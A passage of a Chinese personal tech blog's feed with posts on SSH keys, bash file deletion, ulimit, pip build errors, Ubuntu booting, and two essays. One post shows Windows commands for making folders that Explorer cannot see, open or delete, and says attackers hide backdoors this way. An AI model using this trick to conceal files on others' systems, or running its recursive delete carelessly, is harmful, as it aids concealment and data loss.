<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t dsa </span><br></pre></td></tr></table></figure>
<p>一路回车,在~/.ssh下生成的id_rsa是私钥,id_rsa.pub是公钥。复制公钥到目标服务器,然后就可以无密码登录了:</p>
<p>自动化拷贝公钥到多台目标机器</p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Linux" scheme="https://ajasonwang.github.io/tags/Linux/"/>
</entry>
<entry>
<title>Windows 畸形文件夹</title>
<link href="https://ajasonwang.github.io/2016/06/03/windows-malformation-folder/"/>
<id>https://ajasonwang.github.io/2016/06/03/windows-malformation-folder/</id>
<published>2016-06-03T03:44:38.000Z</published>
<updated>2022-11-08T12:47:15.906Z</updated>
<content type="html"><![CDATA[<h3 id="一、如何让一个文件夹无法删除,甚至无法打开?"><a href="#一、如何让一个文件夹无法删除,甚至无法打开?" class="headerlink" title="一、如何让一个文件夹无法删除,甚至无法打开?"></a>一、如何让一个文件夹无法删除,甚至无法打开?</h3><p>以建一个”abc.”文件夹为例(注意文件名中的点,正常情况下你是无法创建一个带点的文件名的文件夹的): </p><p>1、进入命令提示符,将当前工作目录切换到D盘,输入: </p><p>D: </p><p>回车,然后下输入: </p><p>md abc..\ </p><p>回车。 </p><span id="more"></span><p>2、你就会发现建成了一个”abc.”的文件夹。 </p><p>3、这个文件夹双击打不开也删不掉,同时普通模式下也删不掉。 </p><p>4、那如何放文件进去呢?可以用COPY命令复制文件进去: copy 文件名 d:/abd../ </p><p>5、那如何打开这个文件夹呢?在”运行”中输入完整的路径和文件夹的名称就行了,如:D:\abc..\ </p><p>6、那如何删除呢?命令行下,将当前工作目录切换到D盘,并输入: </p><p>rd /q /s abc..\ </p><p>原理:用了windows的非法命名好处,这个是windows NT系列系统的bug,在dos或者win9x下就可以正常访问NT系统创建的这种文件夹,但不能创建此类文件夹。如果分区是NTFS格式,9X就无能为力了。病毒利用这个bug进行破坏,ghost工具则利用这个bug进行备份gho文件,非常了不起的是:ghost.exe在DOS下能发现这样的文件夹——兼容window NT的这个bug。 </p><h3 id="二、再有一种文件夹是可以正常打开但不能删的:"><a href="#二、再有一种文件夹是可以正常打开但不能删的:" class="headerlink" title="二、再有一种文件夹是可以正常打开但不能删的:"></a>二、再有一种文件夹是可以正常打开但不能删的:</h3><p>创建命令: </p><p>md “D:/abc / “ </p><p>删除命令: </p><p>rd /q /s “D:/abc / “ </p><p>注意:引号最好要有,还有空格,如:”D:/abc空格/空格” 。 </p><h3 id="三、再来个看不见的:"><a href="#三、再来个看不见的:" class="headerlink" title="三、再来个看不见的:"></a>三、再来个看不见的:</h3><p>创建命令: </p><p>md D:/…/ </p><p>删除命令: </p><p>rd /q /s D:/…/ </p><p>注意:这个文件夹在资源管理器里是看不见的,但命令提示符能看见。打开方式:运行(win+r)下输入D:/…/ </p><p>注意:使用 rd /s /q D:/…/ 命令时,少个 . 会把D盘所有文件都删除了!输入命令时要小心谨慎呀! </p><h3 id="四、另一种可以正常打开不能通过资源管理器删除的:"><a href="#四、另一种可以正常打开不能通过资源管理器删除的:" class="headerlink" title="四、另一种可以正常打开不能通过资源管理器删除的:"></a>四、另一种可以正常打开不能通过资源管理器删除的:</h3><p>创建命令: </p><p>md “D:/ / “ </p><p>删除命令: </p><p>rd /q /s “D:/ / “ </p><p>注意:引号最好要有,还有空格,如:”D:/空格/空格” 。 </p><h3 id="五、补充说明:"><a href="#五、补充说明:" class="headerlink" title="五、补充说明:"></a>五、补充说明:</h3><p>1、如果你 md abc../ 建个 abc. 这样的非法文件夹。 再在资源管理器中建个abc的文件夹。原来的 abc. 就可以打开。不过看不到里面的文件。而且可以删除 abc. 文件夹。不过删了 abc. 文件夹的话。里面原来的文件会跑到后面建的 abc 文件夹里去。这个 abc 文件夹也会变得无法删除并且无法打开。 但如果在”运行”下输入 D:/abc../ 的话,还是可以看到里面的文件的。 abc. 文件夹和 abc 文件夹同时存在的时候,可以给 abc. 文件夹改名成abc文件夹。这时就同时存在两个 abc 文件夹。但如果你删除其中的一个文件夹,刷新后,还是会返回成 abc. 文件夹。在xp的命令行可以轻松建立这样删不掉的文件夹,可是在纯dos下却不行! </p><p>2、建一个不带”.” 与带”.” 的”bug文件夹”: </p><p>(1)建立一个带”.”文件夹,如: </p><p>md abc../ </p><p>(2)建立一个普通文件夹abc </p><p>(3)普通方法删除带点的文件夹 </p><p>(4)后面留下的abc文件夹也是普通方法打不开,删不掉,同原 abc. 文件一样用,就是名称上看起来没”.” </p><p>3、再来伪装”bug文件夹”: </p><p>( 1)建abc.文件夹 </p><p>(2)copy命令复制文件进abc.文件夹 </p><p>(3)普通建abc文件夹 </p><p>(4)此时可以打开abc.与abc,且两文件夹似乎使用的是同样的磁盘空间,普通方法复制进其中一个文件夹,另一个文件夹会有同样的文件出现。但是在第2步中copy进文件夹的文件不会显示。 </p><p>( 5)两个文件都可以用普通方法删除,但是不管是删除哪个(abc.或是abc),剩下的那个文件夹(abc或是abc.)与第1步中建立的abc.具有相同功能,普通方法不能打开,不能删除。 </p><p>所以,可以建立名称如同普通文件夹一样的”bug文件夹”(只是名称看起来一样而已),可以把一些想保护起来的文件放到里面,免于误删,被该等问题。 </p><h3 id="六、一些有意思的现象:"><a href="#六、一些有意思的现象:" class="headerlink" title="六、一些有意思的现象:"></a>六、一些有意思的现象:</h3><p>1、如果把文件拖到这个abc.文件夹里。那么,他马上会生成个abc(同名文件夹),并且拖进去的文件可见,但是见不到之前用在运行下输入 D:/abc../ 复制进去的文件。并且,如果在拖进文件之后用在运行下输入 D:/abc../ 进去看。是看不到拖进去的文件的。把这两个同名的文件夹删掉其中之一后,用在运行下输入 D:/abc../ 进去看,还是看不到拖进去的文件。 </p><p>2、我们可以先建立一个如abc的文件夹,再把其设为隐藏属性,然后再利用winrar这个软件来对其文件夹命名为abc../ 。至此大功告成,其文件夹达到一般不可删除,隐藏的的功能。再把文件夹选项设为不显示隐藏文件。 </p><p>3、现在只是在windows 2000里运行里用 abc../ 进入不了文件夹,在xp里就可以进入。 </p><p>4、在NTFS分区下,资源管理器看不见的这个目录。分区必须是FAT32格式,NTFS是无法建立的。 </p><p>5、其实分区里面abc.文件是可以删除的,注意是文件不是文件夹。方法如下: 用 dir/x 命令来获取畸形文件的短文件名,再用del命令来删除。</p><h3 id="七、特别需要注意的情况"><a href="#七、特别需要注意的情况" class="headerlink" title="七、特别需要注意的情况"></a>七、特别需要注意的情况</h3><p>部分网站服务器目录中出现了大量的畸形文件夹,那么就需要注意了,这是黑客留的后门程序都在里面了,一定要删除了,如果手工删除少了还可以,如果几千了文件,就需要用批量删除程序了</p>]]></content>
<summary type="html"><h3 id="一、如何让一个文件夹无法删除,甚至无法打开?"><a href="#一、如何让一个文件夹无法删除,甚至无法打开?" class="headerlink" title="一、如何让一个文件夹无法删除,甚至无法打开?"></a>一、如何让一个文件夹无法删除,甚至无法打开?</h3><p>以建一个”abc.”文件夹为例(注意文件名中的点,正常情况下你是无法创建一个带点的文件名的文件夹的): </p>
<p>1、进入命令提示符,将当前工作目录切换到D盘,输入: </p>
<p>D: </p>
<p>回车,然后下输入: </p>
<p>md abc..\ </p>
<p>回车。 </p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Windows" scheme="https://ajasonwang.github.io/tags/Windows/"/>
</entry>
<entry>
<title>在 Bash 中删除除某些文件外的所有文件</title>
<link href="https://ajasonwang.github.io/2016/05/19/exclude-file-when-using-rm/"/>
<id>https://ajasonwang.github.io/2016/05/19/exclude-file-when-using-rm/</id>
<published>2016-05-19T07:52:08.000Z</published>
<updated>2022-11-08T12:47:15.862Z</updated>
<content type="html"><![CDATA[<p>我的一位同事曾经问过我这样一个问题:在 Linux 下,如何 删除目录中除某些文件之外的所有文件?当时,我告诉他可 以通过模式匹配的方法解决。但其实,除此之外,还有其他 的方法,正所谓“条条大路通罗马”。让我们来逐一看看。</p><p>假设要删除 ~/Downloads 目录中除 *.iso 和 *.zip 外的 所有文件,那么在 bash 中可以按以下方法处理。</p><h3 id="模式匹配法"><a href="#模式匹配法" class="headerlink" title="模式匹配法"></a>模式匹配法</h3><pre><code>shopt -s extglob # 确认开启 extglob 选项cd ~/Downloadsrm -v !(*.iso|*.zip)!(pattern list) 的作用是匹配除 pattern list 之外 的文件。</code></pre><span id="more"></span><h3 id="设置变量法"><a href="#设置变量法" class="headerlink" title="设置变量法"></a>设置变量法</h3><p>在 bash 中,GLOBIGNORE 可用来设置要忽略的模式匹配 文件,多个模式通过 : 分隔。</p><pre><code>cd ~/Downloadsexport GLOBIGNORE=*.zip:*.isorm -v *unset GLOBIGNORE</code></pre><h3 id="find-搜索法"><a href="#find-搜索法" class="headerlink" title="find 搜索法"></a>find 搜索法</h3><p>熟悉 find 的朋友想必知道,find 的威力异常强大,因此 利用它也可解决此问题。</p><pre><code>cd ~/Downloadsfind . -type f -not \( -name '*.zip' -or -name '*.iso' \) -delete</code></pre>]]></content>
<summary type="html"><p>我的一位同事曾经问过我这样一个问题:在 Linux 下,如何 删除目录中除某些文件之外的所有文件?当时,我告诉他可 以通过模式匹配的方法解决。但其实,除此之外,还有其他 的方法,正所谓“条条大路通罗马”。让我们来逐一看看。</p>
<p>假设要删除 ~/Downloads 目录中除 *.iso 和 *.zip 外的 所有文件,那么在 bash 中可以按以下方法处理。</p>
<h3 id="模式匹配法"><a href="#模式匹配法" class="headerlink" title="模式匹配法"></a>模式匹配法</h3><pre><code>shopt -s extglob # 确认开启 extglob 选项
cd ~/Downloads
rm -v !(*.iso|*.zip)
!(pattern list) 的作用是匹配除 pattern list 之外 的文件。
</code></pre></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Linux" scheme="https://ajasonwang.github.io/tags/Linux/"/>
</entry>
<entry>
<title>正确配置Linux系统ulimit/nproc值的方法(转)</title>
<link href="https://ajasonwang.github.io/2016/04/29/linux-ulimit-nproc-set/"/>
<id>https://ajasonwang.github.io/2016/04/29/linux-ulimit-nproc-set/</id>
<published>2016-04-29T09:47:34.000Z</published>
<updated>2022-11-08T12:47:15.879Z</updated>
<content type="html"><![CDATA[<p>在Linux下面部署应用的时候,有时候会遇上Socket/File: Can’t open so many files的问题;这个值也会影响服务器的最大并发数,其实Linux是有文件句柄限制的,而且Linux默认不是很高,一般都是1024,生产服务器用其实很容易就达到这个数量。下面说的是,如何通过正解配置来改正这个系统默认值。</p><p>查看方法</p><p>我们可以用ulimit -a来查看所有限制值</p><span id="more"></span><p>[root@centos5 ~]# ulimit -a<br>core file size (blocks, -c) 0<br>data seg size (kbytes, -d) unlimited<br>scheduling priority (-e) 0<br>file size (blocks, -f) unlimited<br>pending signals (-i) 31365<br>max locked memory (kbytes, -l) 64<br>max memory size (kbytes, -m) unlimited<br>open files (-n) 1024<br>pipe size (512 bytes, -p) 8<br>POSIX message queues (bytes, -q) 819200<br>real-time priority (-r) 0<br>stack size (kbytes, -s) 10240<br>cpu time (seconds, -t) unlimited<br>max user processes (-u) 31365<br>virtual memory (kbytes, -v) unlimited<br>file locks (-x) unlimited</p><!--more--> <p>其中 “open files (-n) 1024 “是Linux操作系统对一个进程打开的文件句柄数量的限制</p><p>(也包含打开的SOCKET数量,可影响MySQL的并发连接数目)。</p><p>正确的做法,应该是修改/etc/security/limits.conf<br>里面有很详细的注释,比如</p><p>hadoop soft nofile 32768<br>hadoop hard nofile 65536</p><p>hadoop soft nproc 32768<br>hadoop hard nproc 65536</p><p>就可以将文件句柄限制统一改成软32768,硬65536。配置文件最前面的是指domain,设置为星号代表全局,另外你也可以针对不同的用户做出不同的限制。</p><p>注意:这个当中的硬限制是实际的限制,而软限制,是warnning限制,只会做出warning;其实ulimit命令本身就有分软硬设置,加-H就是硬,加-S就是软<br>默认显示的是软限制,如果运行ulimit命令修改的时候没有加上的话,就是两个参数一起改变。</p><p>RHE6及以后 nproc的修改在/etc/security/limits.d/90-nproc.conf中</p><p>生效</p><p>因为我平时工作最多的是部署web环境(Nginx+FastCGI外网生产环境和内网开发环境),重新登陆即可(reboot其实也行)我分别用root和www用户登陆,用ulimit -a分别查看确认,做这之前最好是重启下ssh服务,service sshd restart。</p>]]></content>
<summary type="html"><p>在Linux下面部署应用的时候,有时候会遇上Socket/File: Can’t open so many files的问题;这个值也会影响服务器的最大并发数,其实Linux是有文件句柄限制的,而且Linux默认不是很高,一般都是1024,生产服务器用其实很容易就达到这个数量。下面说的是,如何通过正解配置来改正这个系统默认值。</p>
<p>查看方法</p>
<p>我们可以用ulimit -a来查看所有限制值</p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Linux" scheme="https://ajasonwang.github.io/tags/Linux/"/>
</entry>
<entry>
<title>pip install 的报错 Unable to find vcvarsall.bat</title>
<link href="https://ajasonwang.github.io/2016/03/23/pip-install-unable-to-find-vcvarsallbat/"/>
<id>https://ajasonwang.github.io/2016/03/23/pip-install-unable-to-find-vcvarsallbat/</id>
<published>2016-03-23T05:03:03.000Z</published>
<updated>2022-11-08T12:47:15.887Z</updated>
<content type="html"><![CDATA[<p>Python 2.7 会搜索 Visual Studio 2008.<br>如果你电脑上没有这个版本的话,比如只有:</p><ol><li>Visual Studio 2010,在cmd里面执行:</li></ol><p>SET VS90COMNTOOLS=%VS100COMNTOOLS%</p><ol start="2"><li>Visual Studio 2012 的话:</li></ol><p>SET VS90COMNTOOLS=%VS110COMNTOOLS%</p><p>其他版本的VS依此类推</p><span id="more"></span><p>解决了上面的问题,执行pip install 的时候有时候还会报错:</p><p>general error c1010070: Failed to load and parse the manifest. The system cannot find the file specified.<br>error: command ‘mt.exe’ failed with exit status 31</p><p>解决办法:由于vs201x的link.exe的参数稍微有些改变,所以在link的时候没有生成manifest文件,自然mt.exe找不到这个文件。只需要在msvc9compiler.py里面搜索一下MANIFESTFILE,然后在他上面加一行</p><p>ld_args.append(‘/MANIFEST’)</p><p>保存就OK了。</p><p>补充:<br>如果是用的64位的python,那么链接的时候会用到64位的lib库,所以还得把开发包中Lib目录中的x64目录里面的两个lib文件放到vc的lib目录中的amd64目录中。比如对于visual studio 2012就放在C:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\lib\amd64\</p>]]></content>
<summary type="html"><p>Python 2.7 会搜索 Visual Studio 2008.<br>如果你电脑上没有这个版本的话,比如只有:</p>
<ol>
<li>Visual Studio 2010,在cmd里面执行:</li>
</ol>
<p>SET VS90COMNTOOLS=%VS100COMNTOOLS%</p>
<ol start="2">
<li>Visual Studio 2012 的话:</li>
</ol>
<p>SET VS90COMNTOOLS=%VS110COMNTOOLS%</p>
<p>其他版本的VS依此类推</p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Python" scheme="https://ajasonwang.github.io/tags/Python/"/>
</entry>
<entry>
<title>双系统进Ubuntu开机卡死</title>
<link href="https://ajasonwang.github.io/2016/01/13/ubuntu-hang-on-boot/"/>
<id>https://ajasonwang.github.io/2016/01/13/ubuntu-hang-on-boot/</id>
<published>2016-01-13T04:02:02.000Z</published>
<updated>2022-11-08T12:47:15.900Z</updated>
<content type="html"><![CDATA[<p>公司淘汰的DELL OPTIPLEX780自从带回家装机之后一直焕发着第二春。不过自打安装了双系统之后就小毛病不断,这次又进不去ubuntu的X了,虽说被无数次折磨过,不过实在不想再像以前那样直接重装ubuntu了,于是开始Google咯,直到问题解决,现在记录一下问题作为备忘。</p><p>先说系统环境</p><p>软件:</p><p>Window 10 + Ubuntu 15.10</p><p>➜ ~ lsb_release -a<br>No LSB modules are available.<br>Distributor ID: Ubuntu<br>Description: Ubuntu 15.10<br>Release: 15.10<br>Codename: wily</p><span id="more"></span><p>硬件:</p><p>硬盘:Samsung SSD 850 EVO 120GB(操作系统盘) + 希捷(Seagate)ST1000DM003-1ER162 (CC45)<br>CPU:Intel® Core™2 Duo CPU E7500 @ 2.93GHz × 2<br>显卡:Intel® Q45/Q43</p><p>默认启动项Systemd,进不了X,查看启动项内容如下:(libata.force=noncq是Google之后自己加的,关键词: EVO 850 linux kernel ncq bug,参考链接:<a href="https://bugs.launchpad.net/ubuntu/+source/linux/+bug/550559">hdd problems, failed command: READ FPDMA QUEUED</a>)</p><pre><code>menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-211dc254-7fee-4d5b-a9c7-01980b270596' {recordfailload_videogfxmode $linux_gfx_modeinsmod gzioif [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fiinsmod part_msdosinsmod xfsset root='hd0,msdos7'if [ x$feature_platform_search_hint = xy ]; thensearch --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos7 --hint-efi=hd0,msdos7 --hint-baremetal=ahci0,msdos7 211dc254-7fee-4d5b-a9c7-01980b270596elsesearch --no-floppy --fs-uuid --set=root 211dc254-7fee-4d5b-a9c7-01980b270596filinux /boot/vmlinuz-4.2.0-23-generic root=UUID=211dc254-7fee-4d5b-a9c7-01980b270596 ro libata.force=noncq quiet splash $vt_handoffinitrd /boot/initrd.img-4.2.0-23-generic}</code></pre><p>第二启动项upstart进入X桌面环境没有问题</p><p>linux /boot/vmlinuz-4.2.0-23-generic root=UUID=211dc254-7fee-4d5b-a9c7-01980b270596 ro libata.force=noncq quiet splash $vt_handoff init=/sbin/upstart</p><p>翻来覆去找谷歌,终于看到某位大神在一个帖子里不经意的一句,算是功夫不负有心人</p><p><a href="http://ubuntuforums.org/showthread.php?t=2284315">Thread: Ubuntu Installation Freezes Randomly on MSI GE72 2QF Apache Pro 2</a></p><p>这句话要记下来(第二句咯):</p><ol><li>You HAVE to install ubuntu 15.04 64bit. Any other version simply does not work. Some people also reported that 14.04.3 64bit works too.</li><li>In the BIOS you have to disable the following: FastBoot, Intel Speedstep, SecureBoot</li><li>In the BIOS make sure that UEFI is enabled with CSM</li><li>When starting the Ubuntu installation you have to add the kernel option “libata.force=noncq”. This is a MUST!</li><li>After the installation do a full update on Ubuntu. Then you can remove the kernel option “libata.force=noncq”. Your SSD should perform faster now. But SpeedStep is still a problem. I have to keep it off.</li><li>I even re-enabled Fastboot and Secure in the BIOS and it still runs fine.</li></ol><p>于是,重启进BIOS,把FastBoot禁用了,然后按顺序操作,一切完好如初。。。</p>]]></content>
<summary type="html"><p>公司淘汰的DELL OPTIPLEX780自从带回家装机之后一直焕发着第二春。不过自打安装了双系统之后就小毛病不断,这次又进不去ubuntu的X了,虽说被无数次折磨过,不过实在不想再像以前那样直接重装ubuntu了,于是开始Google咯,直到问题解决,现在记录一下问题作为备忘。</p>
<p>先说系统环境</p>
<p>软件:</p>
<p>Window 10 + Ubuntu 15.10</p>
<p>➜ ~ lsb_release -a<br>No LSB modules are available.<br>Distributor ID: Ubuntu<br>Description: Ubuntu 15.10<br>Release: 15.10<br>Codename: wily</p></summary>
<category term="技术" scheme="https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="Ubuntu" scheme="https://ajasonwang.github.io/tags/Ubuntu/"/>
</entry>
<entry>
<title>放弃那些无用的社交</title>
<link href="https://ajasonwang.github.io/2015/10/13/drop-meaningless-social-activities/"/>
<id>https://ajasonwang.github.io/2015/10/13/drop-meaningless-social-activities/</id>
<published>2015-10-12T20:34:34.000Z</published>
<updated>2022-11-08T12:47:15.860Z</updated>
<content type="html"><![CDATA[<p>那年我一个人来到北京,带上父亲跟我说的一句话:多交朋友。</p><p>于是,上大学时,我酷爱社交,参加了三个社团,只要有活动,都会去打个酱油。我乐意留别人的电话,曾几何时,我把留到别人电话数量当成炫耀的资本。</p><p>我待人热情,对人诚恳,却总是被忽略。他们只有在打杂的时候,才会想到这个社团还有一个我。那段时间,虽然很多场合都有我的存在,但永远不是核心,别人也不太愿意跟我交朋友。</p><p>可活动后,留下打扫卫生的,永远是我。</p><span id="more"></span><p>一次,认识了学校的一个老师,那年我还是个学生,屁颠屁颠的大半夜去他办公室,只是因为他给我说了,晚上他一个人在办公室值班。</p><p>我听他跟我聊了很久,没有深聊,只是表面肤浅的交流了十几分钟,他告诉我,他是负责学校入党工作的。</p><p>我听的很认真,临走前留下了他的电话,还送了带来了的两袋水果。</p><p>后来我入党写申请书,那时不知道可以在网上下模板,傻里吧唧的发短信找他帮忙,他却冷冷的回了一条:我没空。</p><p>其实我在很多场合都遇到过了这样的拒绝,你以为你和对方留了电话存了微信,应该彼此能帮忙,却忘记了一件很重要的事情:只有关系平等,才能互相帮助。</p><p>这个故事没完。</p><p>几年后,我已经是一名英语老师,深夜接到了一个电话,正是几年前的那位老师。</p><p>他笑嘻嘻的跟我寒暄了两句,很快就聊到了正题:竟然是找我介绍靠谱的英语老师,希望私下能给他的孩子上一节课。</p><p>那段时间,我每天都在上课,白天劳累困顿,晚上晕头转向,加上想到过去的种种,于是我只是搪塞了,改天我看看,就匆匆挂了电话。</p><p>当然,我什么也没帮他。</p><p>后来我忽然想到这件事,为什么我没有帮他,或者说,很久以前,他为什么不肯帮助我。</p><p>答案很简单,除去彼此的感情,能让对方帮自己的根本条件,是你能提供等价的回报。换句话说,过去我是个学生,没法给他提供等价回报;而之后我不需要入党,他也没法给我提供等价回报。</p><p>而且,我们的感情基础是零。</p><p>事实很冷,但这是事实。</p><p>我们总是去参加社交,却不知道,很多社交其实并没有什么用,看似留了别人电话,却在需要帮助的时候,仅仅是白打了一个电话。</p><p>因为我们不够优秀。</p><p>很残忍,但谁愿意帮助一个不优秀的人呢。</p><p>曾有个朋友跟我说,我参加了不少社交,朋友也不少,为什么会越来越孤单,直到今天,很多事情都无人帮助我,难过。</p><p>我问她,社交场上,别人一般怎么介绍我。</p><p>她说,我的朋友,小白。</p><p>我说,一般怎么介绍那些优秀的人?</p><p>她说,独立撰稿人、主播、导演、教授… …某某某。</p><p>我说,所以你懂了,如果你自己不强大,那些社交其实没有什么用,只有等价的交换,才能得到合理的帮助。</p><p>所以,在你还没有足够强大足够优秀的时候,先别花太多那些宝贵的时间去社交,先花点时间读读书提升一下专业技能。我们都有过参加一个聚会发现无话可说甚至不知道做一些什么的经历,因为,这个群体,不属于你。</p><p><em>要知道,只有优秀的人,才能得到有用的社交。</em></p><p>几个月后,小白参加一个电视栏目大火,现在她依旧喜欢参加社交活动,她告诉我,现在甚至有些人每天给她每天分享一些文字,还有些是之前不喜欢理我的人。</p><p>一个当红作家曾经给我说过一个故事,他成名之前,给一个很大的报社投过稿,可是,多次发稿,却石沉大海。</p><p>一年后,他的书大卖,这家报社的创始人竟然亲自来找他约稿。</p><p>他们关系很好,因为一个需要卖书,一个需要发有质量的文字。有人说他和这个报社的关系好,他只说了一句话:</p><p><em>“等价的交换,才有了等价的友谊。”</em></p><p>别觉得世界残酷,这就是游戏规则,别着急痛苦这世界冰冷冷的像一块铁,请看完我的文字。</p><p>我在北京打拼的第一年,一无所有,可每周的都会有一个朋友来看我,给我送吃的,那哥们叫立冬,是我最好的朋友。</p><p>他曾经说,无论你是谁,但你是我兄弟。</p><p>后来我有点名气了,他依旧跟我说,别以为你是谁,你就是我兄弟。</p><p>这种人,被称为真朋友,他不适用于以上的规则。无论什么时候,他都愿意帮助你,无论你贫穷还是窝囊,因为你们共同经历过一些事情,他们总是不离不弃。你们的帮助,不用等价交换,只用感情平等,就好。</p><p>这种人不用多,在这个浮夸的世界里,几个就好。</p><p><em>所以,放弃那些无用无效的社交,提升自己,才能让世界变得更大。同时,相信世界上美好的友情,存在于彼此内心深处,安静的保守着他们。</em></p><p>(文/李尚龙)</p><p><a href="http://lcx.cc/?i=4568">原文链接</a></p>]]></content>
<summary type="html"><p>那年我一个人来到北京,带上父亲跟我说的一句话:多交朋友。</p>
<p>于是,上大学时,我酷爱社交,参加了三个社团,只要有活动,都会去打个酱油。我乐意留别人的电话,曾几何时,我把留到别人电话数量当成炫耀的资本。</p>
<p>我待人热情,对人诚恳,却总是被忽略。他们只有在打杂的时候,才会想到这个社团还有一个我。那段时间,虽然很多场合都有我的存在,但永远不是核心,别人也不太愿意跟我交朋友。</p>
<p>可活动后,留下打扫卫生的,永远是我。</p></summary>
<category term="文章" scheme="https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"/>
<category term="心情" scheme="https://ajasonwang.github.io/tags/%E5%BF%83%E6%83%85/"/>
</entry>
<entry>
<title>做个聪明的信息消费者</title>
<link href="https://ajasonwang.github.io/2015/08/21/to-be-a-smart-information-consumer/"/>
<id>https://ajasonwang.github.io/2015/08/21/to-be-a-smart-information-consumer/</id>
<published>2015-08-20T18:52:52.000Z</published>
<updated>2022-11-08T12:47:15.897Z</updated>
<content type="html"><![CDATA[<p><a href="https://iyouport.com/archives/45954">原文链接</a> 需翻墙</p><p>作者:Sylar</p><p>近来有发现,部分翻墙网民一直没有登陆推特、谷歌,使用翻墙软件只为看一些政治八卦,后在墙内平台上传播。那些充满戏剧色彩的、或许永远也无从证实的「故事性消息」,满足着猎奇者的欲望。他们可以翻墙,但不经常翻墙,只在政治八卦的线索出现在视野内的时候,才能触发翻墙兴趣。实验将一篇正规外媒的消息链接发在这样的群体里,如果标题没能激起猎奇欲望的话,便很容易被忽略,大家认为「没必要费力搭梯子只为打开一个墙外链接」。</p><p>这让人感觉,长期处于新闻管制下的信息消费者,即便短期脱离管制,有可能依旧缺乏独立辨认信息的能力。猎奇心理的基础是寻求刺激,背景是反应迟钝或弱化,基本属于在长期「统一思想」的束缚之下需求被压制的结果。主要表现为轻信、偏执,分为渠道依赖型偏执和内容偏执(猎奇),后者有可能很快转化为前者。</p><span id="more"></span><p>基于传播心理,人们重视传播后的反馈,当刺激性成为传播质量的要素时,猎奇就成为了一种需求。政治八卦体现宫廷神秘感,之所以能引发兴趣是政治参与被剥夺的结果。中国长期的专制传统也一直在强化政治的神秘,猎奇心态的存在并不难理解。</p><p>受众普遍质疑官媒的消息,但并非完全是基于内容在思考下的判断,更多属于渠道排斥。即便不翻墙,正规陆媒和墙内「门户」一定程度上也没能拼得过自媒体和民间小道消息。但筛选渠道的新闻取信态度不可能完全解决真实度问题。至少,哪些是假装成自媒体而背后有集团或政治派系操纵的信息源,大众无从得知。如果不持续加强独立判断能力的话,只能承受花样儿愚弄。</p><p>不否认的确有「新闻理想」高涨的大陆媒体人一直在辛勤工作、承受各种压力,但公众否定的是他们为之服务的单位,于是不论他们个人怎么努力也依旧无法扭转公信力的低下。除非他们能联手对抗政党对新闻的束缚。近期有大陆媒体人转行下海的消息频现,被很多公众解读为「厌恶管制」了,足见公众是多么希望他们去抗争管制呢。很遗憾,这个真没有。</p><p>或许可以这样理解,时讯「谣言」的火爆、政治八卦的魅力体现的是信息消费者的判断力被阉割,是党管新闻的结果。管制加大了获取成本和传播成本,但一定程度上并没能激发人们对自由的追求和独立判断力,而是逐渐体现出如上这般辨识力低下的状况。获取成本与渠道偏好正相关,也就是说,人们会更倾向于相信那些需要付出一定「代价」才能获知到的信息,但这点必须在成本足够大、持续时间足够长的情况下才能实现。否则更可能带来的是疲惫和厌倦。</p><p>做为接受信息不自由的中国民众,更多是在被压制和被诱惑之间辗转,我们鼓励翻墙,脱离管制和灌输,但并不是说放弃一个渠道转而投入对另一个渠道的依赖。自由之地对个体思考判断能力的要求只会更高,该如何提升信息消费者的认知能力,或许是相比优化信息环境更为现实的问题。</p><p>简要介绍一下提高认知技能的几个训练步骤:</p><p><strong>1、识别内容。</strong>你看到的是些什么内容?</p><p>新闻被分为四种类型,其中官媒(包括所有党管治下的新闻机构)发布的是消息大多属于「肯定式新闻」、门户网站的新闻接近「断言式新闻」,新闻工作者在此只是起到了一个传声筒的作用,他们只需要背诵那些拟定好的观点和结论,不加质疑。这样的新闻不依靠准确、完整或核实来构筑公信力,只是以满足表达(或认可)一种信念为目的,而刻意选择性摘取消息的片段。「肯定式新闻」的标志是辩论文化让位于答案文化,目的是令社会稳定、看起来「井然有序」,免于争执。当然也拒绝了受众的独立思考。此外,强调准确和语境的「确证式新闻」是最传统的模式;被利益集团操控,基于特定目标和针对固定受众群体的、看起来像调查报道的新闻,是伪装成新闻的宣传。</p><p>党管下的新闻机构传递的是政党的观点,不加思考的承载官方叙事版本,空话连篇。即便没有通稿的要求和禁令的束缚,很多记者也越来越懒得亲自去查明事实,而是只凭直觉就接收他人的二手甚至三手消息。于是整体上给信息消费者的印象是新闻离事实越来越远,逐渐变成了另一种形式的舆论。而社交网络、博客和自媒体等新传播形式有可能使用上述任何一种模式来生产新闻。</p><p>真正通过核实的消息,信源会呈现多样化,记者(发布者)对各种信源保持着怀疑态度,并非停留在对信息表面的陈述,而是倾向于继续挖掘。</p><p><strong>2、信息细节的充分性。</strong>你看到的这篇报道完整吗?如果不完整,它缺了什么?</p><p>对完整性的检验涉及信息源、证据和潜在的偏见。新闻的缺陷是碎片化,本身缺乏完整性,信息消费者应该首先注意到的是「它提供了什么事实」,基于这些事实的证据是否充分,如果不能充分,则不可确信。由于「断言式新闻」的时效性较高,它提供的肯定只是片段,判断则需要将多方面的片段尽可能拼凑完整后再加以分析。而对于「肯定式新闻」来说,因为它急于呈现的是一个观点和论断,多半没有足够的事实,或没有仔细辨认过证据的真实性。</p><p><strong>3、评估信息源。</strong>传出信息的人是谁?为什么可以相信他们?</p><p>具体人名、身份对于判断来说只是一个很小的元素,关键在于这些人(信息源)是否真的掌握了信息。记者对信息源的选择不能夹带任何目的,媒体人考证信息源的积极性是新闻可信度的标志。采集到的是否一手信息?如果不是,中间隔了哪些环节?它们都足够可信吗?如果媒体人没能给公众呈现出这些疑点,便很容易形成误导或被聪明